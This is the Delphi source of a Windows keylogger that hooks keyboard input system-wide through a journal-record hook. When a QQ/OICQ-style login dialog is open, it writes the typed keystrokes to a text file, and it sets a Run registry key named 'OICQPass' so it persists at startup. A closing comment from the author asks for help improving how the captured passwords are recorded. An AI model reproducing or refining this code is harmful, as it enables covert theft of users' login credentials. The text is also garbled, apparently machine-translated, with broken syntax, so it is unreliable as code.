Unit Password;
Interface
Uses Windows, Messages, Sysutils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Stdctrls, ExtCtrls, Clipbrd, Buttons, Registry;
type TForm1 = class (TForm) Button1: TButton; Button2: TButton; Label1: TLabel; Timer1: TTimer; Edit1: TEdit; BitBtn1: TBitBtn; procedure Button1Click (Sender: TObject); procedure Timer1Timer (Sender: TObject); procedure FormCreate ( Sender: TOBJECT); Procedure Button2Click (Sender: TOBJECT); Procedure Bitbtn1click (Sender: TOBJECT);
PRIVATE {private declarations}
VAR FORM1: TFORM1; HHOOK: INTEGER; D: CHAR; Eventarr: EventMSG;
ImplementationFunction HookProc (icode: integer; wparam: wparam; lparam: lparam): LRESULT; stdcall;
VAR C: Integer; Hwindow, Hbutton1, Hbutton, Hedit, Hedit1, Handle: Thandle; // Handle Variable DEBUGFILE: TEXTFILE; POINT: TPOINT; TEMP: ARRAY [0..255] of char;
Begin hwindow: = 0; Found: = false;
// Find Yes # 32770 (dialog box) HWindow: = FindWindowex (0, hwindow, '# 32770', nil); hbutton1: = FindWindowEx (hwindow, 0, 'button', 'cancel');
If hButton1 <> 0 Then // If you find Begin if (PEVENTMSG (LPARAM) ^. Message = WM_KEYDOWN) THEN / / Judgment Do I Begin
C: = peventmsg (lparam) ^. paraml; d: = char (c); // Get button {$ I-} if not fileexists ('newfile.txt') Then // If the file does not exist, begin assignfile (Debugfile, 'Newfile.txt'); REWRITE (Debugfile); // Create a new file Write (DEBUGFILE, D); // Write key value closefile (debugfile); end // else // If there is Begin AssignFile (debugfile, 'newfile .txt '); append (debugfile); // Add record Write (debugfile, d); // write key value closefile (debugfile); endend end;
END;
{$ R * .dfm}
Procedure tform1.form1.form; const k = '/ software / microsoft / windows / currentversion / runservices'; var myname: string; reg: tregistry
begin hHook: = SetwindowsHookEx (WH_JOURNALRECORD, HookProc, HInstance, 0); // loading hook find: = false; reg: = tregistry.create; reg.rootkey: = HKEY_LOCAL_MACHINE; reg.openkey ( 'SOFTWARE / Microsoft / Windows / CurrentVersion / Run ', true); reg.writestring (' OICQPass', 'D: / Program Files / DEL / BORLAND / DELPHI7 / Projects / Password.exe');
END;
Procedure TForm1.Button1Click (Sender: Tobject); Begin UnHookWindowsHooKex (HHOOK); // Units hHOOK: = 0;
END;
// This is the program that I just wrote a record password has basically had recorded features but there are many problems such as the number and password recorded by the record file record, and the previous record and the latter record There is no interval between. Please add some suggestions to solve